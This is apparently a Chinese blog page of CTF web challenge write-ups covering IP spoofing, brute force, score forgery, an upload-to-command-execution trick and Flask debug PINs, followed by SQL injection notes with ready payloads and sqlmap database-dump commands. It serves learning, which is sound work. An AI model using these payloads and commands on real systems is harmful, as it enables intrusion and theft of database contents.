最没意思的题,纯字典爆破
zxc123
主要考的ip伪造
打开页面,随便输密码,发现ip被记录(再次输入就没用了)
不着急,先打开源码,发现最后面跟了一个注释,base64解码,应该就是登录密码
盲猜登录用户名为admin
抓包后改成admin和密码test123
但是现在ip被记录,无法识别
在数据包的头部添加xff参数,随便输一个ip(不能是以前用过的ip,我这里直接用127.0.0.1了)
得到flag
打开,发现一个黑页
扫一下目录,发现shell.php(等扫描的过程中建议可以玩玩页面的光追,感觉可以玩一年)
打开发现一个输密码的界面
最后没什么意思,就是用字典爆破密码(还以为需要连接木马什么的,浪费时间),密码hack,直接得flag
点进去后是一个游戏
完全没有思路的话可以把游戏打到三千分通关
标准做法是:打开burp抓包,迅速在游戏中gg,抓到游戏结束的返回包
发现score和sign的参数都在变化
将sign的参数去掉前面的zM和后面的==后base64解码,发现就是score的参数
所以把score参数改为随意大于3000的数,base64加密后前面加zM后面加==,得到flag
打开后是一个外挂网站(如果报错就刷新一下)
先用dirsearch扫一下目录,发现很多东西,一个个打开
发现/admin/login.php可以跳转到后台登录平台
看到有一个“下载辅助”的地方,点击后可以下载到东西
解压后是一个exe程序,打开
发现要输qq号和密码(随便输点什么,我这里输的123——123,千万别输个人信息!!)
提交后……
不着急,打开wireshark抓包,再发送一次,发现抓到的包里有user,password的信息
追踪tcp流,并用base64解码
把结果扔到一开始找到的登录页面,发现并不正确
尝试在“邮件”里登录,并登录成功
翻找后发现,自己刚刚发的信息已经被邮件记录(社工软件的本质)
在往下翻,看到一个名字和生日,盲猜是后台账号和密码
扔到后台登录,并成功
从后台找到flag
打开页面后,发现一个文件上传的界面
点击选择文件后发现只能上传图片
查看源代码后发现提示,意思是上传的文件会以python的形式运行,并返回值
写一个简单的python脚本,作用是使用shell指令,改成图片上传,代码如下:
1 | import os |
之后为了方便改代码,我用burpsuite抓包后进行的,发现即使是jpg文件,也可以被运行
这里我先把ls改成了cat app.py看了一下网页的脚本,发现只有jpg,png和py3可以通过(这也是大部分人抓包后改成py却被过滤的原因)
之后我把文件后缀改成py3继续进行(其实不改也不影响)
直接在burp上改文件内容就行
把ls改成cat /flag,得到flag
首先建议先看一下关于ssti的基础知识——
ssti笔记(虽然对这道题没什么用)
意思好像是让我们找secret_key
学习flask后发现,这个secret_key是flask的一个系统参数
打开后发现让我们输pin码,然后就可以使用shell指令,这里可以用笔记中的方法获取主机名,配合cookie构造,不过这里不需要shell,所以没有用
下面我也根据笔记进行了测试——
报错界面(也可以用于输入pin后运行shell,或者查看部分源代码)(方法:随便输错点什么)
推荐视频:https://www.bilibili.com/video/BV1zi4y1x7QM
(星盟战队,h3h3da大佬,yyds!!)
1 |
|
sql这玩意,语法也不难,但是特别容易忘,这已经是我第三次从零开始学习sql注入了,做点笔记,希望别那么快又忘了。
参考视频:deelmind大佬的sql注入教程https://www.bilibili.com/video/BV1Ab4y1k7e7
(舟长赛高)
不止需要get输入的地方可能被数据库录入,连数据包的各个参数都有可能被数据库录入,所以可以改变所有的参数,逐个进行测试
报错注入(error):
例:id=3’ AND EXTRACTVALUE(1389,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(1389=1389,1))),0x7170627671)) AND ‘GzOm’=’GzOm
联合注入(union):
例:id=-4195’ UNION ALL SELECT NULL,NULL,CONCAT(0x7170766a71,0x61626345484d4c44715053567a486d7064415a77696d7076417055786962707664624d4a41455146,0x7170627671)– -
时间盲注(time)(特征:网页加载了一段时间):
例:id=3’ AND (SELECT 7586 FROM (SELECT(SLEEP(5)))ljtK) AND ‘NBox’=’NBox
布尔盲注(boolean):
例:id=3’ AND 3931=3931 AND ‘IMwH’=’IMwH
扫描:
python sqlmap.py -u “[url]” -random-agent(一般扫描)(后参数可省略)
如果有自己写的tamper(这里用safedog.py代替)扫描:
python sqlmap.py -u “[url]” -random-agent –tamper = safedog.py
比较好使的sqlmap中文参考手册:点击下载
查看所有数据库:
python sqlmap.py -u “[url]” –dbs
查看某数据库的所有表(库名用security代替):
python sqlmap.py -u “[url]” -D security –tables
查看某表的所有列(库名用security代替,表名用user代替):
python sqlmap.py -u “[url]” -D security -T users –columns
查看某列的所有数据(库名用security代替,表名用user代替,列名用username代替):python sqlmap.py -u “[url]” -D security -T users -C username –dump
(最简便)查看所有数据库的所有数据(一般别用,会把基础库全部打印出来):python sqlmap.py -u “[url]” –dump-all
(最简便)查看某数据库的所有数据:python sqlmap.py -u “[url]” -D security –dump-all
cookie注入:(在sqlmap中使用cookie注入,level >=2才行)
sqlmap.py -u “ http://www.\*\*\*.com/shownews.asp" –cookie=”id=207” –level 2
user-agent注入:(level >= 4)
sqlmap.py -u “ http://www.\*\*\*.com/shownews.asp" –random-agent –level 3
referer注入:(level >= 4)
python sqlmap.py -u “http://challenge-a3f5f8ae8e1fa13b.sandbox.ctfhub.com:10800/" –referer=”aaaaa” –level 4
绕过空格拦截的12个脚本(https://www.cnblogs.com/i-honey/p/7899652.html)
常用temper介绍:https://www.cnblogs.com/mark0/p/12349551.html
注释:
(1) – (后面带空格)
(2) /* */
(3) # (mysql特有)
搜索:
select * from [表名] where id=1
“*“ 可以换成列名或数字(例:id,username,1,2,3)(若为列名,则会搜索那一列,若为数字,则会自动填充到每一列,若数字个数比列数多,则会报错)
“id=1”为条件,可以更换
select distinct ……(去重)
…… where id between 1 and 2 = …… where id in (1,2) (可用于绕过id=3 ==> id in (3))
…… where id=1 and 1=1 (一定为真)(and可以用&或&&代替)
…… where id=1 or 1=11 (一定为真)(or可以用|或||代替)
like:
select …… where pass like “%pass%”
(匹配pass列中符合”%pass%”的元素)(类似正则表达式,%:代表0或多个字符,_:代表一个字符)
order by(排序):
select * from duser order by id limit 3
(id可以是列名或数字(第几列),可以用于测试一共有几列)
(limit 3 意思是看前几条,若数字大于总条数,则显示所有)
as(重命名):
select id as s from ……
(把列名为id的一列的列名改成s输出,as可以省略)
函数:
max() (最大) 例: select min(id) from ……
min() (最小)
sum() (求和)
count() (个数)
concat() (拼接)
database() (数据库名) 例: select database()
user() (主机名(相当于主机名和密码))
@@datadir (存储位置)
exists():
select 1 and exists(select 2)
(若括号内返回真,则返回前面select的值;若为假,则返回0)(相当于if)
ascii():
返回字符串首个字母的ascii码
可以配合exists()使用: select * from duser where id=1 and exists(select * from duser 1 where ascii(username)=117)
(username为列名,117代表字母u)(只有正确才会返回值,可以用来测试内容)
substring(,,):
截取字段,可配合ascii爆出内容
ascii(substring(username,1,1))==117
(上述例子的意思是,若第二个字母为u)
union:
select * from duser union select * from duser1
(后一个*可以换成1,2,3或1,2,database(),可以用来查表名之类的)
union自动去重
不要去重可以用 union all
group by(分组):
select count(username)count,id,username,pass from duser group bu id (having count=5)
(测试同id的username有几个)
(括号内为可加,查有5个的id,username,pass)
最基础绕过:加/**/
join部分以后再整理
tag:
缺失模块。
1、请确保node版本大于6.2
2、在博客根目录(注意不是yilia根目录)执行以下命令:
npm i hexo-generator-json-content --save
3、在根目录_config.yml里添加配置:
jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true